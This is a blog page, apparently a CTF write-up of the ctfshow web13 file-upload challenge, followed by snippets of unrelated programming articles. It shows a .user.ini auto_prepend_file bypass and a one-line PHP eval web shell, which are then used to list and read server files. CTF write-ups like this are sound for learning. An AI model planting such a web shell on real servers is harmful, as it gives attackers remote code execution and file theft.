当前位置： 首页 > news >正文

ctfshow-web13 文件上传

news 2026/5/20 11:31:58

0x00 前言

  • CTF 加解密合集
  • CTF Web合集

0x01 题目

在这里插入图片描述

0x02 Write Up

首先看到是一个上传页面，测试其他无果，遂进行目录遍历，发现upload.php.bak文件

在这里插入图片描述
可以看到这里的限制条件，大小，以及内容，这里可以使用.user.ini进行上传，具体参考：php user.ini详解

那么我们先上传.user.ini

auto_prepend_file=1.txt

然后上传1.txt，尝试使用get，但是没有生效，这里需要控制字符数量

<?php eval($_POST['a']);

上传好了之后，通过index.php进行访问

首先查看当前目录

在这里插入图片描述

然后通过highlight_file读取文件

在这里插入图片描述

以上

相关文章：

ctfshow-web13 文件上传

0x00 前言 CTF 加解密合集CTF Web合集 0x01 题目 0x02 Write Up 首先看到是一个上传页面&#xff0c;测试其他无果&#xff0c;遂进行目录遍历&#xff0c;发现upload.php.bak文件 可以看到这里的限制条件&#xff0c;大小&#xff0c;以及内容&#xff0c;这里可以使用.use…...

编程日记 2023/8/26 5:17:06

Python项目开发案例————学生信息管理系统（附源码）

一、学生信息管理系统 本文使用Python语言开发了一个学生信息管理系统&#xff0c;该系统可以帮助教师快速录入学生的信息&#xff0c;并且对学生的信息进行基本的增、删、改、查操作&#xff1b;还可以实时地将学生的信息保存到磁盘文件中。 1.1 需求分析 为了顺应互联网时代…...

编程日记 2023/8/26 5:16:05

2023-08-25力扣每日一题

链接&#xff1a; 1448. 统计二叉树中好节点的数目 题意&#xff1a; 判断根节点到每个节点X的过程中&#xff0c;如果没有值大于X&#xff0c;则该节点为好节点&#xff0c;求好节点数量 解&#xff1a; 由于求根节点到其他节点的路径&#xff0c;则使用dfs算法&#xff…...

编程日记 2023/8/26 5:15:04

Vue3中的计算属性和属性监听

compute计算属性 Vue3中可以通过 compute进行监听计算属性&#xff0c;他返回的是一个ref的对象&#xff0c;也就是说 通过compuye这种方式计算属性实际上是进行了ref的操作 import { computed } from vue const user reactive({firstName: A,lastName: B }) // 只有getter的…...

编程日记 2023/8/26 5:14:02

微信开发之一键修改群公告的技术实现

简要描述&#xff1a; 设置群公告 请求URL&#xff1a; http://域名地址/setChatRoomAnnouncement 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必…...

编程日记 2023/8/26 5:13:01

【git】工作场景中常用的git命令

工作场景中常用的git命令 1. 必备改名改邮箱拉代码下来并且创建新分支git commit回滚某个文件删除分支 工作场景中常用的git命令&#xff0c;记录下来方便调取 1. 必备 改名改邮箱 一般与他人合作&#xff0c;至少你提交的名字得被人熟知或者遵循规范&#xff0c;因此需要更改…...

编程日记 2023/8/26 5:12:00

Vue路由（详解）

目录 路由原理 路由到底有什么作用&#xff1f; 路由安装和使用&#xff08;vue2&#xff09; 路由跳转 跳转实例&#xff1a; 路由的传值和取值 传值实例&#xff1a; 查询参和路由参的区别&#xff1a; 嵌套路由 嵌套实例&#xff1a; 路由守卫 守卫实例&#xff1…...

编程日记 2023/8/26 5:10:59

打开软件提示msvcp140.dll丢失的解决方法，msvcp140主要丢失原因

今天&#xff0c;我将为大家介绍一种非常常见的问题——msvcp140.dll丢失。这个问题可能会导致许多应用程序无法正常运行&#xff0c;甚至崩溃。但是&#xff0c;请不要担心&#xff0c;我会为大家提供5种解决方法&#xff0c;帮助大家轻松解决问题。 首先&#xff0c;我们来看…...

编程日记 2023/8/26 5:09:56

关于路由器和DNS解析的一些新理解

其实我本人对于交换机和路由器这些网络硬件是比较感兴趣的&#xff0c;也在一点一点的学习相关知识&#xff0c;每次解决一个问题&#xff0c;就让我对一些事情有新的思考。。 今天前台同事&#xff0c;的机器突然上不了网&#xff0c;&#xff0c;和领导一起去看了一波&#…...

编程日记 2023/8/26 5:08:54

vscode 与 C++

序 具体流程的话&#xff0c;官方文档里都有的&#xff1a;C programming with Visual Studio Code 浏览器下载一个mingw64&#xff0c;解压&#xff0c;配置环境变量vscode里安装c相关的插件没了 第一步只看文字&#xff0c;可能有点抽象&#xff0c;相关视频&#xff1a; …...

编程日记 2023/8/26 5:07:51

水果flstudio好用吗？中文版FL21最新版本如何下载

FL Studio21版是一款功能强大的音乐制作软件&#xff0c;广泛应用于电子音乐、流行音乐、电影配乐等领域。它提供了丰富多样的音频合成和编辑工具&#xff0c;使音乐制作变得更加灵活多样。无论是初学者还是专业音乐制作人&#xff0c;都可以通过直观的界面和丰富的音频特效来实…...

编程日记 2023/8/26 5:06:50

PHP is_array()函数详解，PHP判断是否为数组

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 is_array 一、基本使用二、空数组三、同时判断多个…...

编程日记 2023/8/26 5:05:49

面试题-React(三)：什么是JSX？它与常规JavaScript有什么不同？

在React的世界中&#xff0c;JSX是一项引人注目的技术&#xff0c;它允许开发者在JavaScript中嵌套类似HTML的标签&#xff0c;用于描述UI组件的结构。本篇博客将通过丰富的代码示例&#xff0c;深入探索JSX语法&#xff0c;解析其在React中的用法和优势。 一、JSX基础语法 在…...

编程日记 2023/8/26 5:04:48

纯前端实现图片上传七牛云

首先安装下依赖&#xff1a; npm install qiniu-js crypto-js 然后封装一下 uploaderHelper.ts import * as qiniu from qiniu-js; // ts-ignore import CryptoJS from crypto-js// 请求接口上传图片 export function uploadFile(file: File) {const uptoken getToken(你的…...

编程日记 2023/8/26 5:03:43

win10+wsl2+Ubuntu20.2+Pycharm+WSL解释器

目的&#xff1a;创建一个ubuntu系统下的python解释器&#xff0c;作为win平台下的pycharm的解释器。 这样做的好处是可以直接在win系统里操作文件&#xff0c;相比于linux方便一点&#xff0c;而且也不用对wsl的子系统进行迁移。 一、安装前准备 1. 设置-Windows更新-window…...

编程日记 2023/8/26 5:02:42

EL与JSTL

目录 EL EL语法 EL运算符 JSTL JSTL标签分类 JSP脚本&#xff1a;代码结构混乱、脚本与HTML 混合易出错、代码不易维护。 EL表达式&#xff1a;优化程序代码&#xff0c;增加程序可读性。 EL EL语法 EL表达式 ${ EL 表达式 } EL操作符 操作符“ . ” 获取对象的属性&a…...

编程日记 2023/8/26 5:01:41

【Linux】动态库和静态库

动态库和静态库 软链接硬链接硬链接要注意 自定义实现一个静态库(.a)解决、使用方法静态库的内部加载过程 自定义实现一个动态库&#xff08;.so&#xff09;动态库加载过程 静态库和动态库的特点 软链接 命令:ln -s 源文件名 目标文件名 软链接是独立连接文件的&#xff0c;他…...

编程日记 2023/8/26 5:00:40

R语言：联合多指标的ROC曲线

# 加载数据和包rm(list=ls())library(pROC)library(ggplot2)setwd("C:/Users/syy/Desktop/MRI_lab/")data<- read.csv("test1.csv", header = T)data$Groups...

编程日记 2023/8/26 4:59:38

将一个树形结构的数据平铺成一个一维数组(vue3)

一、需求描述 由于自带组件库没有具体完善，无法实现像element-ui这种可以多选选择任意一级的选项，也就是说，选择父级的时候不会联动选择子级的全部 例如： 所以，才会出现【二、案例场景】类似的场景，可以用来多选 ，并可以实现单选父级而不关联子级，选择了将树状数据进…...

编程日记 2023/8/26 4:58:34

OSCS开源安全周报第 56 期：Apache Airflow Spark Provider 任意文件读取漏洞

本周安全态势综述 OSCS 社区共收录安全漏洞 3 个&#xff0c;公开漏洞值得关注的是 Apache NiFi 连接 URL 验证绕过漏洞(CVE-2023-40037)、PowerJob 未授权访问漏洞(CVE-2023-36106)、Apache Airflow Spark Provider 任意文件读取漏洞(CVE-2023-40272)。 针对 NPM 、PyPI 仓库…...

编程日记 2023/8/26 4:57:33

Diablo Edit2完全指南：暗黑破坏神2存档修改器终极使用教程

Diablo Edit2完全指南&#xff1a;暗黑破坏神2存档修改器终极使用教程 【免费下载链接】diablo_edit Diablo II Character editor. 项目地址: https://gitcode.com/gh_mirrors/di/diablo_edit 你是否曾经在暗黑破坏神2中花费数小时刷装备却一无所获&#xff1f;或者想要…...

编程新知 2026/5/20 11:14:32

从查重到降 AIGC，2026 年 9 款论文工具横评：Paperxie 领衔，谁才是本科生的 “熬夜救星”？

paperxie-免费查重复率aigc检测/开题报告/毕业论文/智能排版/文献综述/AI PPThttps://www.paperxie.cn/weight?type1https://www.paperxie.cn/weight?type1 每到毕业季&#xff0c;论文查重飘红、AIGC 检测亮红灯&#xff0c;几乎是所有本科生的共同噩梦。从初稿到定稿&#…...

编程新知 2026/5/20 10:53:42

技术突破：Code_Copyright_Gen - 重新定义软件著作权文档生成工作流

技术突破&#xff1a;Code_Copyright_Gen - 重新定义软件著作权文档生成工作流 【免费下载链接】code_copyright_gen flutter 实现的软著生成 项目地址: https://gitcode.com/gh_mirrors/co/code_copyright_gen 在软件著作权申请过程中&#xff0c;开发者面临的最大痛点…...

编程新知 2026/5/20 10:09:50

算法和数学模型转换在FPGA中实现问题

1.关于指数运算在FPGA中实现问题 比如&#xff0c;高斯函数&#xff0c;在FPGA直接实现指数函数会极大的消耗资源&#xff0c;并且延迟比较大&#xff1b; 这种一般的使用办法&#xff0c;就是使用LUT查找表来替换&#xff1b; 或者使用分段线性逼近法则&#xff1b; 或者使用泰…...

编程新知 2026/5/20 9:27:57

汇编新手避坑指南：搞懂AX、BX、CX、DX这些“双面”寄存器，才算入门

汇编新手避坑指南&#xff1a;搞懂AX、BX、CX、DX这些“双面”寄存器&#xff0c;才算入门 第一次接触汇编语言时&#xff0c;那些神秘的寄存器名称总让人望而生畏。尤其是AX、BX、CX、DX这几个"双面人"&#xff0c;一会儿能拆成AH和AL&#xff0c;一会儿又能合体使用…...

编程新知 2026/5/20 7:39:13

从样本到序列：枸杞DNA条形码鉴定的关键步骤与陷阱规避

一、引言&#xff1a;为何需要PCR鉴定枸杞&#xff1f;枸杞&#xff08;Lyciumspp.&#xff09;作为药食同源的重要资源&#xff0c;市场长期存在以土库曼枸杞、白刺等近缘种或伪品冒充高价值宁夏枸杞&#xff08;L. barbarum&#xff09;的现象。传统鉴别依赖果实形态和显微特…...

编程新知 2026/5/20 7:12:49

Claude Mythos出笼！AI猛兽秒破人类一年无解漏洞，GPT-5.5直接被按在地上摩擦

前言各位码农老铁、安全圈大佬、以及正在用CtrlC/V续命的程序员朋友们&#xff0c;请放下你手里的咖啡——别洒了&#xff0c;因为接下来的消息&#xff0c;可能会让你惊得连键盘都按歪&#xff01;最近AI圈炸了锅&#xff0c;不是因为谁又调参调出了花&#xff0c;而是Anthrop…...

编程新知 2026/5/20 6:18:08

VCSA底层网络配置实战：从IP修改到SSH登录的运维指南

1. 环境准备与基础概念 刚接触VMware vCenter Server Appliance&#xff08;VCSA&#xff09;的朋友可能会觉得底层配置有点神秘。其实就像给新买的智能手机设置Wi-Fi一样&#xff0c;我们需要根据实际网络环境调整它的"网络身份"。VCSA本质上是个预配置的Linux虚拟机…...

编程新知 2026/5/20 5:45:47

为什么很多企业，最后真正被拖垮的，其实是“系统维护成本”？——真正昂贵的，从来不是“开发系统”，而是“长期维护复杂系统”

很多企业第一次做商城系统时&#xff0c;通常都会特别关注&#xff1a; 开发成本高不高上线速度快不快功能够不够多页面交付快不快 因为在业务初期。 大家最关注的&#xff1a; 通常都是&#xff1a; 先把系统上线 所以很多企业最开始都会认为&#xff1a; “开发成本” …...

编程新知 2026/5/20 5:26:20

告别龟速！实测PyTorch在Mac M1 GPU（MPS）上跑ResNet比CPU快了多少？

Mac M1 GPU加速实战&#xff1a;PyTorch MPS性能对比与优化指南 当苹果推出M1芯片时&#xff0c;整个科技圈都为它的能效比惊叹。但作为机器学习从业者&#xff0c;我们更关心的是&#xff1a;这块集成GPU到底能为我们的模型训练带来多少实际加速&#xff1f;本文将带你深入实测…...

编程新知 2026/5/20 5:24:08